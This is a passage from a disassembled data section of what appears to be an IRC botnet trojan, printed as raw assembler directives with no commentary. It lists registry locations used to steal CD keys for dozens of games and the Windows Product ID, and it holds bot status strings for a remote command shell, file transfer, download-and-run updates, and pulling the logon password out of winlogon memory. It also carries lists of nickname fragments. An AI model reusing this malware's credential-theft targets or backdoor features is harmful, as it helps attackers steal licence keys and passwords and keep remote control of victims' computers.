437454h, 43D7E8h, 437440h, 2 dup(0) dd 80000002h, 4373F8h, 43D7E8h, 4373D8h, 2 dup(0) dd 80000002h, 437384h, 43D7E8h, 437354h, 2 dup(0) dd 80000002h, 437304h, 43D7E8h, 4372D8h, 2 dup(0) dd 80000002h, 437298h, 437290h, 437270h, 2 dup(0) dd 80000002h, 43722Ch, 43D7E8h, 437210h, 2 dup(0) dd 80000002h, 4371C4h, 43D7E8h, 4371A0h, 2 dup(0) dd 80000002h, 43716Ch, 43D7E8h, 437160h, 2 dup(0) dd 80000002h, 43712Ch, 43D7E8h, 437120h, 2 dup(0) dd 80000002h, 4370ECh, 43D7E8h, 4370E0h, 2 dup(0) dd 80000002h, 4370ACh, 43D7E8h, 4370A0h, 2 dup(0) dd 80000002h, 437064h, 43D7E8h, 437050h, 2 dup(0) dd 80000002h, 437014h, 43D7E8h, 437000h, 2 dup(0) dd 80000002h, 436FD0h, 437A8Ch, 436FB4h, 2 dup(0) dd 80000002h, 436F94h, 436F8Ch, 436F68h, 2 dup(0) dd 80000002h, 436F4Ch, 436F8Ch, 436F2Ch, 2 dup(0) dd 80000002h, 436F0Ch, 436F8Ch, 436EE8h, 2 dup(0) dd 80000002h, 436ED0h, 436F8Ch, 436ECCh, 2 dup(0) dd 80000002h, 436EB0h, 436EA0h, 436E98h, 2 dup(0) dd 80000002h, 436E64h, 42C8E0h, 436E4Ch, 2 dup(0) dd 80000002h, 436E10h, 436E04h, 436DDCh, 436DCCh, 436DB8h dd 80000002h, 436D94h, 436D88h, 436D74h, 436D64h, 436D5Ch dd 80000002h, 436D94h, 436D88h, 436D30h, 436D64h, 436D28h dd 80000002h, 436D94h, 436D88h, 436CF8h, 436D64h, 436CF0h dd 6 dup(0) dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h dd 64726564h, 296B7261h, 0 dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh dd 6469746Eh, 2965h, 3179654Bh, 3Dh, 636E776Eh, 79656B64h dd 696E692Eh, 0 aNeverwinterNig db 'Neverwinter Nights',0 align 4 aLocation db 'Location',0 align 4 aSoftwareBiowar db 'Software\BioWare\NWN\Neverwinter',0 align 4 aMtkwftmkemfew3 db 'mtkwftmkemfew3p3b7',0 align 4 aBaseMpSof2key db 'base\mp\sof2key',0 aSoldierOfFortu db 'Soldier of Fortune II - Double Helix',0 align 4 aInstallpath db 'InstallPath',0 db 53h aOftwareActivis db 'oftware\Activision\Soldier of Fortune II - Double Helix',0 align 4 aHiddenDangerou db 'Hidden & Dangerous 2',0 align 4 db 53h aOftwareIllusio db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0 align 4 aChrome db 'Chrome',0 align 10h aSerialnumber db 'SerialNumber',0 align 10h db 53h aOftwareTechlan db 'oftware\Techland\Chrome',0 align 4 aNox db 'NOX',0 aSoftwareWestwo db 'Software\Westwood\NOX',0 align 4 aCommandAndConq db 'Command and Conquer: Red Alert 2',0 align 4 db 53h aOftwareWestwoo db 'oftware\Westwood\Red Alert 2',0 align 4 aCommandAndCo_0 db 'Command and Conquer: Red Alert',0 align 4 db 53h aOftwareWestw_0 db 'oftware\Westwood\Red Alert',0 aCommandAndCo_1 db 'Command and Conquer: Tiberian Sun',0 align 4 aSerial db 'Serial',0 align 4 db 53h aOftwareWestw_1 db 'oftware\Westwood\Tiberian Sun',0 align 4 aRainbowSixIiiR db 'Rainbow Six III RavenShield',0 db 53h aOftwareRedStor db 'oftware\Red Storm Entertainment\RAVENSHIELD',0 align 10h aNascarRacing20 db 'Nascar Racing 2003',0 align 4 db 53h aOftwareElectro db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0 align 10h aNascarRacing_0 db 'Nascar Racing 2002',0 align 4 db 53h aOftwareElect_0 db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0 align 10h aNhl2003 db 'NHL 2003',0 align 4 db 53h aOftwareElect_1 db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0 align 10h aNhl2002 db 'NHL 2002',0 align 4 db 53h aOftwareElect_2 db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0 align 10h aFifa2003 db 'FIFA 2003',0 align 4 db 53h aOftwareElect_3 db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0 align 10h aFifa2002 db 'FIFA 2002',0 align 4 db 53h aOftwareElect_4 db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0 align 10h aShogunTotalWar db 'Shogun: Total War: Warlord Edition',0 align 4 db 53h aOftwareElect_5 db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi' db 'on\ergc',0 align 10h aNeedForSpeedUn db 'Need For Speed: Underground',0 db 53h aOftwareElect_6 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0 align 10h aNeedForSpeedHo db 'Need For Speed Hot Pursuit 2',0 align 10h aErgc db 'ergc',0 align 4 db 53h aOftwareElect_7 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0 align 4 aMedalOfHonorAl db 'Medal of Honor: Allied Assault: Spearhead',0 align 4 db 53h aOftwareElect_8 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp' db 'earhead\ergc',0 align 4 aMedalOfHonor_0 db 'Medal of Honor: Allied Assault: Breakthrough',0 align 4 db 53h aOftwareElect_9 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br' db 'eakthrough\ergc',0 align 4 aMedalOfHonor_1 db 'Medal of Honor: Allied Assault',0 align 4 db 53h aOftwareElec_10 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er' db 'gc',0 align 10h aGlobalOperatio db 'Global Operations',0 align 4 db 53h aOftwareElec_11 db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0 align 10h aCommandAndCo_2 db 'Command and Conquer: Generals',0 align 10h db 53h aOftwareElec_12 db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0 aJamesBond007Ni db 'James Bond 007: Nightfire',0 align 4 db 53h aOftwareElec_13 db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0 aCommandAndCo_3 db 'Command and Conquer: Generals (Zero Hour)',0 align 4 db 53h aOftwareElec_14 db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer' db 'o Hour\ergc',0 align 4 aBlackAndWhite db 'Black and White',0 db 53h aOftwareElec_15 db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0 align 10h aBattlefieldVie db 'Battlefield Vietnam',0 db 53h aOftwareElec_16 db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0 align 10h aBattlefield194 db 'Battlefield 1942 (Secret Weapons of WWII)',0 align 4 db 53h aOftwareElec_17 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons ' db 'of WWII\ergc',0 align 4 aBattlefield1_0 db 'Battlefield 1942 (Road To Rome)',0 db 53h aOftwareElec_18 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom' db 'e\ergc',0 align 4 aBattlefield1_1 db 'Battlefield 1942',0 align 4 db 53h aOftwareElec_19 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0 aFreedomForce db 'Freedom Force',0 align 4 db 53h aOftwareElec_20 db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0 aIgi2CovertStri db 'IGI 2: Covert Strike',0 align 4 db 53h aOftwareIgi2Ret db 'oftware\IGI 2 Retail',0 align 10h aUnrealTourname db 'Unreal Tournament 2004',0 align 4 db 53h aOftwareUnrealT db 'oftware\Unreal Technology\Installed Apps\UT2004',0 align 4 aUnrealTourna_0 db 'Unreal Tournament 2003',0 align 4 db 53h aOftwareUnrea_0 db 'oftware\Unreal Technology\Installed Apps\UT2003',0 align 4 aMicrosoftWindo db 'Microsoft Windows Product ID',0 align 4 aProductid db 'ProductId',0 align 4 db 53h aOftwareMicro_0 db 'oftware\Microsoft\Windows\CurrentVersion',0 align 10h aSoldiersOfAnar db 'Soldiers Of Anarchy',0 aSoftwareSilver db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0 align 4 aLegendsOfMight db 'Legends of Might and Magic',0 align 4 aCustomernumber db 'CustomerNumber',0 align 4 aSoftware3d0Sta db 'Software\3d0\Status',0 aIndustryGiant2 db 'Industry Giant 2',0 align 4 aPrvkey db 'prvkey',0 align 4 aSoftwareJowood db 'Software\JoWooD\InstalledGames\IG2',0 align 4 aHalfLife db 'Half-Life',0 align 4 aSoftwareValveH db 'Software\Valve\Half-Life\Settings',0 align 4 aGunmanChronicl db 'Gunman Chronicles',0 align 4 aKey_0 db 'Key',0 aSoftwareValveG db 'Software\Valve\Gunman\Settings',0 align 10h aTheGladiators db 'The Gladiators',0 align 10h aRegnumber db 'RegNumber',0 align 4 aSoftwareEugenS db 'Software\Eugen Systems\The Gladiators',0 align 4 aCounterStrikeR db 'Counter-Strike (Retail)',0 ; DATA XREF: .packed:004368C4o aCdkey db 'CDKey',0 ; DATA XREF: .packed:004368C0o align 4 aSoftwareValveC db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: .packed:off_4368BCo align 4 asc_437ABC: ; DATA XREF: sub_415A2F+E9o ; sub_415A2F+F4o unicode 0, <=>,0 dword_437AC0 dd 234032Dh, 656B6463h, 3027379h, 7325202Dh, 7325203Ah ; DATA XREF: sub_415A2F+2Bo dd 0 unk_437AD8 db 2Dh ; - ; DATA XREF: sub_415C59+170o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSendTo db '- failed to send to Remote command shell',0 align 4 unk_437B0C db 2Dh ; - ; DATA XREF: sub_415C59+ABo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToOpenRe db '- failed to open remote command shell',0 align 4 unk_437B3C db 2Dh ; - ; DATA XREF: sub_415C59+47o ; sub_415E1A+FDo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToOpenSo db '- failed to open socket',0 align 10h dword_437B60 dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h ; DATA XREF: sub_415E1A+362o ; sub_4161BC+156o dd 726F72h unk_437B78 db 2Dh ; - ; DATA XREF: sub_415E1A+2FAo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFileSSentToSSB db '- file %s sent to %s (%s bytes).',0 align 4 unk_437BA4 db 2Dh ; - ; DATA XREF: sub_415E1A+202o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aUnableToOpenSo db '- unable to open socket',0 align 4 dword_437BC8 dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h ; DATA XREF: sub_415E1A+1CBo dd 74756Fh dword_437BE0 dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h ; DATA XREF: sub_415E1A+16Ao dd 169h unk_437BF8 db 2Dh ; - ; DATA XREF: sub_415E1A+127o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFileDoesnTExis db '- file doesn',27h,'t exist',0 align 4 unk_437C18 db 2Dh ; - ; DATA XREF: sub_415E1A+82o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToBindTo db '- failed to bind to socket',0 unk_437C3C db 2Dh ; - ; DATA XREF: sub_415E1A+44o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToCrea_2 db '- failed to create socket',0 align 10h unk_437C60 db 2Dh ; - ; DATA XREF: sub_4161BC+1D1o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceivedSFromS db '- received %s from %s (%s bytes).',0 align 4 unk_437C8C db 2Dh ; - ; DATA XREF: sub_4161BC+CBo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorOpeningSo db '- error opening socket',0 unk_437CAC db 2Dh ; - ; DATA XREF: sub_4161BC+ABo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorOpeningFi db '- error opening file for writing',0 align 4 aAB db 'a+b',0 ; DATA XREF: sub_4161BC+97o unk_437CDC db 2Dh ; - ; DATA XREF: sub_4161BC+83o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorUnableToW db '- error unable to write file to disk',0 align 4 unk_437D0C db 2Dh ; - ; DATA XREF: sub_4163F9+493o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aBadUrlOrDnsErr db 'bad url or dns error at %s.',0 unk_437D38 db 2Dh ; - ; DATA XREF: sub_4163F9+485o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aUpdateFailedEr db 'update failed, error executing %s',0 align 4 unk_437D6C db 2Dh ; - ; DATA XREF: sub_4163F9+3C9o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloaded_1fk db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0 align 10h dword_437DB0 dd 234032Dh, 6E776F64h, 64616F6Ch, 202D0302h, 6E65706Fh ; DATA XREF: sub_4163F9+358o dd 25206465h, 73h unk_437DCC db 2Dh ; - ; DATA XREF: sub_4163F9+2E1o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloaded_1fK db 'downloaded %.1f KB to %s @ %.1f KB/sec',0 align 4 unk_437E04 db 2Dh ; - ; DATA XREF: sub_4163F9+262o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aWrongCrcDD_ db 'wrong crc (%d != %d).',0 align 4 unk_437E2C db 2Dh ; - ; DATA XREF: sub_4163F9+1D8o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aWrongFilesizeD db 'wrong filesize (%d != %d).',0 align 4 unk_437E58 db 2Dh ; - ; DATA XREF: sub_4163F9+195o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aGotUpdateSDkb_ db 'got update %s (%dKB).',0 align 10h unk_437E80 db 2Dh ; - ; DATA XREF: sub_4163F9+183o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloadedSDkb db 'downloaded %s (%dKB)',0 align 4 unk_437EA8 db 2Dh ; - ; DATA XREF: sub_4163F9+77o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aCouldnTOpenF_0 db 'couldn',27h,'t open file: %s',0 align 10h aUnknown db 'Unknown',0 ; DATA XREF: sub_4169A1:loc_4169E4o ; sub_418EF6+10Ao aInvalid db 'Invalid',0 ; DATA XREF: sub_4169A1:loc_4169DEo aDisk db 'Disk',0 ; DATA XREF: sub_4169A1:loc_4169D8o align 4 aNetwork db 'Network',0 ; DATA XREF: sub_4169A1:loc_4169D2o aCdrom db 'Cdrom',0 ; DATA XREF: sub_4169A1:loc_4169CCo align 4 off_437EF8 dd offset word_4D4152 ; DATA XREF: sub_4169A1:loc_4169C6o word_437EFC dw 3Fh ; DATA XREF: sub_4169A1+1Fo ; sub_41AA42:loc_41AB44r align 10h aFailed db 'failed',0 ; DATA XREF: sub_416A32:loc_416B10o ; sub_416B56+3Bo align 4 aSkb db '%sKB',0 ; DATA XREF: sub_416A32+6Co align 10h unk_437F10 db 2Dh ; - ; DATA XREF: sub_416B56+8Eo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aSDriveSSTotalS db '%s drive (%s): %s total, %s free, %s available',0 align 4 unk_437F4C db 2Dh ; - ; DATA XREF: sub_416B56+58o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aSDriveSFailedT db '%s drive (%s): failed to stat, device not ready',0 aA_2 db 'A:\',0 ; DATA XREF: sub_416C28:loc_416C6Do dword_437F8C dd 234032Dh, 646E6966h, 656C6966h, 202D0302h, 6E756F66h ; DATA XREF: sub_416CAD+C8o dd 64252064h, 6C696620h, 7365h unk_437FAC db 2Dh ; - ; DATA XREF: sub_416CAD+5Co db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aSearchingFor_0 db 'searching for file %s',0 align 4 dword_437FD4 dd 234032Dh, 646E6966h, 656C6966h, 202D0302h, 6E756F66h ; DATA XREF: sub_416DC8+107o dd 73252064h, 73255Ch dword_437FF0 dd 2A5C7325h, 0 ; DATA XREF: sub_416DC8+1Ao unk_437FF8 db 2Dh ; - ; DATA XREF: sub_416F1A:loc_417093o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aFailedToEnable db 'failed to enable debug privilege',0 align 4 unk_43802C db 2Dh ; - ; DATA XREF: sub_416F1A:loc_417066o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aUnableToFindWi db 'unable to find winlogon pid',0 unk_438058 db 2Dh ; - ; DATA XREF: sub_416F1A:loc_41705Fo db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aUnableToFindTh db 'unable to find the password in memory',0 align 10h unk_438090 db 2Dh ; - ; DATA XREF: sub_416F1A+117o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h db 57h ; W db 69h, 6Eh, 4Ch db 6Fh ; o db 67h, 6Fh, 6Eh db 20h db 49h, 6Eh, 66h db 6Fh ; o db 72h, 6Dh, 61h db 74h ; t db 69h, 6Fh, 6Eh db 20h db 28h, 50h, 49h db 44h ; D db 20h, 25h, 64h db 29h ; ) db 20h, 2Dh, 20h db 2 db 44h, 6Fh, 6Dh db 61h ; a db 69h, 6Eh, 2 db 3Ah ; : db 20h, 2 dup(5Ch) db 25h ; % db 53h, 2Ch, 20h db 2 db 55h, 73h, 65h db 72h ; r db 2, 3Ah, 20h aSNoPassword_ db '(%S/(no password)).',0 aUserdomain: ; DATA XREF: sub_416F1A+DCo unicode 0, <USERDOMAIN>,0 align 4 aUsername: ; DATA XREF: sub_416F1A+CEo unicode 0, <USERNAME>,0 align 4 aRtlrundecodeun db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_416F1A+9Ao align 4 aRtldestroyquer db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_416F1A+8Do align 10h aRtlqueryproces db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_416F1A+80o aRtlcreatequery db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_416F1A+73o align 4 aNtquerysystemi db 'NtQuerySystemInformation',0 ; DATA XREF: sub_416F1A+68o align 4 aNtdll_dll db 'NTDLL.DLL',0 ; DATA XREF: sub_416F1A+55o align 4 aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_416F1A+40o ; sub_416F1A+161o ... align 4 unk_4381C8 db 2Dh ; - ; DATA XREF: sub_416F1A+35o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aOnlySupportedO db 'only supported on winnt/win2k',0 align 4 aMsgina db 'MSGINA',0 ; DATA XREF: sub_4170EC+13Eo align 10h aNwgina db 'NWGINA',0 ; DATA XREF: sub_4170EC+123o align 4 aWinlogon db 'WINLOGON',0 ; DATA XREF: sub_4170EC+AFo align 4 dword_438214 dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h ; DATA XREF: sub_417552+70o ; sub_4175E9+C7o dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 295325h dword_438264 dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h ; DATA XREF: sub_4175E9+E1o dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 412F4E28h dd 2929h off_4382B8 dd offset aQ ; DATA XREF: sub_417ADD+5Cr ; "q" dd offset dword_438E64 dd offset aE ; "e" dd offset aR ; "r" dd offset aT ; "t" dd offset dword_438E60 dd offset aU ; "u" dd offset aI ; "i" dd offset aP ; "p" dd offset aA ; "a" dd offset aS_1 ; "s" dd offset aD ; "d" dd offset dword_438E5C dd offset dword_438E58 dd offset dword_438E54 dd offset aJ ; "j" dd offset aK ; "k" dd offset dword_438E50 dd offset dword_438E4C dd offset dword_438E48 dd offset aC_0 ; "c" dd offset aV ; "v" dd offset dword_438E44 dd offset aN ; "n" dd offset aM ; "m" dd offset dword_438E40 dd offset dword_438E3C dd offset dword_438E38 dd offset dword_438E34 dd offset dword_438E30 dd offset word_438E2C dd offset dword_438E28 dd offset aI_0 ; "I" dd offset dword_438E24 dd offset dword_438E20 dd offset aA_0 ; "A" dd offset dword_438E1C dd offset dword_438E18 dd offset dword_438E14 dd offset dword_438E10 dd offset dword_438E0C dd offset dword_438E08 dd offset dword_438E04 dd offset dword_438E00 dd offset dword_438DFC dd offset dword_438DF8 dd offset dword_438DF4 dd offset dword_438DF0 dd offset dword_438DEC dd offset word_438DE8 dd offset aM_0 ; "M" dd offset aSmartmir ; "SMARTMIR" dd offset aFarooq ; "farooq" dd offset aMaxxguy ; "maxxguy" dd offset aBobmarley ; "BOBMARLEY" dd offset aEmilya ; "emilya" dd offset aKrizha ; "KRIZHA" dd offset aCar1nna ; "Car1nna" dd offset aSwin ; "swin" dd offset aMale ; "male" dd offset aKoko ; "koko" dd offset aFlexster ; "flexster" dd offset aKen ; "ken" dd offset aShez ; "Shez" dd offset aTalika ; "talika" dd offset aMarcy ; "marcy" dd offset aCme ; "cme" dd offset aHeval ; "heval" dd offset aBunty ; "bunty" dd offset aJanno ; "janno" dd offset aRimpy ; "rimpy" dd offset aNastysha ; "nastysha" dd offset aLuisa ; "Luisa" dd offset aTroller ; "troller" dd offset aManee ; "manee" dd offset aKermit ; "kermit" dd offset aPuregold ; "puregold" dd offset aCoredump ; "CoreDump" dd offset aImra ; "imra" dd offset aGirl ; "GirL" dd offset aCamel ; "CAMEL" dd offset aReshma ; "reshma" dd offset aKencing ; "Kencing" dd offset aThr45h3r5 ; "THR45H3R5" dd offset aCansuuuu ; "cansuuuu" dd offset aKaan38dent ; "kaan38dent" dd offset aErkan27 ; "erkan27" dd offset aHexaaa ; "hexaaa" dd offset aBerk19 ; "berk19" dd offset aObenibisevse ; "OBeNiBiSeVSe" dd offset aIrmal ; "irmal" dd offset aMisssunday ; "misssunday" dd offset aTolga34 ; "Tolga34" dd offset aJericho ; "JERICHO" dd offset aMary_0 ; "MARY" dd offset aAkin ; "AKIN" dd offset aMelekk ; "melekk" dd offset aTrend3 ; "trend3" dd offset aMERVE ; "M-E-R-V-E" dd offset aTekir ; "tekir" dd offset aVenedik34 ; "venedik34" dd offset aSevmekmi ; "sevmekmi" dd offset aSudenur ; "SUDENUR" dd offset aArzu ; "ARZU" dd offset aHaticem ; "haticem" dd offset aErnesto ; "ERNESTO" dd offset aAslii ; "aslii" dd offset aPiramit ; "PIRAMIT" dd offset aSamyeli21 ; "samyeli21" dd offset aRetg ; "RETG" dd offset aBlackpearl ; "blackpearl" dd offset aPelincik ; "pelincik" dd offset aAhmet ; "ahmet" dd offset aTurkyy ; "turkyy" dd offset aAnk32m ; "ank32m" dd offset aZack ; "ZACK" dd offset aIzmir39m ; "Izmir39m" dd offset aAlbina ; "albina" dd offset dword_438B80 dd offset off_438B7C dd offset aAnkh ; "ankh" dd offset aDonjuanm ; "Donjuanm" dd offset aBogac ; "bogac" dd offset aAlpay34m ; "alpay34m" dd offset aCongueror ; "CoNGuERoR" dd offset aDenizlim ; "DenizliM" dd offset aBerk19m ; "Berk19m" dd offset aDevran ; "devran" dd offset aArda ; "arda" dd offset aKeyiflisert ; "keyifliSERT" dd offset aMurat34M ; "murat34-m" dd offset aHakan3 ; "hakan3" dd offset aImirzali ; "IMIRZALI--" dd offset aRamtha ; "RAMTHA" dd offset aEmre ; "Emre--" dd offset aElmaazyok ; "elmaazyok" dd offset aEsmerkiz ; "Esmerkiz" dd offset aKebikec ; "kebikec" dd offset aFlord ; "FLoRD" dd offset aHoly ; "holy" dd offset aMahinur ; "MAHINUR" dd offset aSadikaellesme ; "SaDIkaEllesme" dd offset aAykut1 ; "aykut1" dd offset aKashmira ; "Kashmira" dd offset aSeviseli ; "SeViSeLi" dd offset aSugarboy ; "SUGARBOY-" dd offset aUzgun36 ; "uzgun36" dd offset aKumul ; "kumul" dd offset aAdalim ; "ADALIM" dd offset aUmut ; "umut-" dd offset aAnk32M ; "ANK-32-M" dd offset aDjspace ; "DJSPACE" dd offset aAnkar ; "Ankar" dd offset aFenerlee ; "FeNeRLee" dd offset aHayran ; "hayran" dd offset aAngelgirl ; "angelgirl" dd offset aKapk ; "kapk" dd offset aAchilles ; "Achilles" dd offset aTegmen ; "TEGMEN" dd offset aKotan ; "kotan" dd offset aSevda ; "sevda" dd offset off_4389E8 dd offset aAlcatras ; "alcatras" dd offset aA44m ; "a44m" dd offset aBirsen ; "birsen" dd offset aYabanc ; "yabanc" dd offset aDevre ; "devre" dd offset aErkan ; "erkan" dd offset aAnkm ; "ankM" dd offset aAdem28 ; "Adem28" dd offset aMaxsilla ; "maxsilla" dd offset aM41ist ; "M41IST" dd offset aAdamm33 ; "AdAMM33" dd offset aFirtina ; "firtina" dd offset aAta29 ; "Ata29" dd offset aKoray ; "KORAY" dd offset aAkden ; "akden" dd offset aIzmirlm ; "izmirlm" dd offset aUla ; "ula" dd offset aNeHaber ; "NE-HABER" dd offset aPassenger ; "passenger" dd offset aTropikal ; "tropikal" dd offset aCool30m ; "cool30m" dd offset aCem39 ; "cem39" dd offset aRerpjj ; "RERPJJ" dd offset aTeoman ; "TEOMAN```" dd offset aDallas43m ; "DALLAS43M" dd offset aPrometheus ; "prometheus" dd offset aMaveRIck ; "MaVe{R}icK" dd offset aAdamm ; "ADAMM" dd offset aCumhur29 ; "cumhur29" dd offset aWantedlove ; "WANTEDLOVE" off_4385B8 dd offset aSex ; DATA XREF: sub_417ADD+41r ; sub_417ADD+ECr ; "sex" dd offset aLez ; "lez" dd offset aZex ; "zex" dd offset aTree ; "tree" dd offset aBad ; "bad" dd offset aLag ; "lag" dd offset aTambe ; "|tambe|" dd offset aWoh ; "|woh|" dd offset aTot ; "-|tot|" dd offset aSuck ; "|suck|" dd offset aLuck ; "|luck|" dd offset aHub ; "{hub}" dd offset aSex_0 ; "{sex}" dd offset aGens ; "{gens|" dd offset aLuvuF ; "||luvu-f|" dd offset aWiked ; "|wiked|" dd offset aSick ; "sick}}" dd offset aQ8 ; "Q8" dd offset aQ8A ; "|q8|a" dd offset dword_438E44 dd offset aC_0 ; "c" dd offset aD ; "d" dd offset aE ; "e" dd offset dword_438E5C dd offset dword_438E58 dd offset dword_438E54 dd offset aI ; "i" dd offset dword_42BBC4 dd offset aJ ; "j" dd offset aK ; "k" dd offset dword_438E50 dd offset aM ; "m" dd offset aN ; "n" dd offset aO ; "o" dd offset aP ; "p" dd offset aQ ; "q" dd offset aRs ; "rs" dd offset aT ; "t" dd offset aU ; "u" dd offset aV ; "v" dd offset dword_438E64 dd offset dword_438E48 dd offset dword_438E60 dd offset dword_438E4C dd offset aHappy ; "happy" dd offset aRg ; "rg" dd offset aTy ; "ty" dd offset aGf ; "gf" dd offset aRt ; "rt" dd offset aSdf ; "sdf" dd offset aUi ; "ui" dd offset aLuvy ; "luvy" dd offset aTrimy ; "trimy" dd offset aTruck ; "truck" dd offset aMuckc ; "muckc" dd offset dword_438E4C dd offset dword_438E58 dd offset aS_1 ; "s" dd offset aQ ; "q" dd offset off_438808 dd offset aBbl ; "|bbl" dd offset byte_43D7E8 dd offset byte_43D7E8 dd offset a___0 ; "_|_" dd offset byte_43D7E8 dd offset byte_43D7E8 dd offset byte_43D7E8 dd offset byte_43D7E8 dd offset dword_438E14 dd offset aM_0 ; "M" dd offset aLuvu ; "LUVU" dd offset aSad ; "Sad" dd offset aF_3 ; "^^^f^" dd offset dword_438E44 dd offset byte_43D7E8 dd offset aSleeping ; "Sleeping" dd offset byte_43D7E8 dd offset byte_43D7E8 dd offset aFuck_0 ; "Fuck" dd offset aFree ; "Free" dd offset byte_43D7E8 dd offset byte_43D7E8 dd offset dword_438DF8 dd offset byte_43D7E8 dd offset aBoy ; "BOY" dd offset aGirl_0 ; "GIRL" dd offset aGurl ; "gurl" dd offset aShit ; "shit" dd offset aAha ; "aha" dd offset aYeah ; "yeah" dd offset aMuha ; "muha" 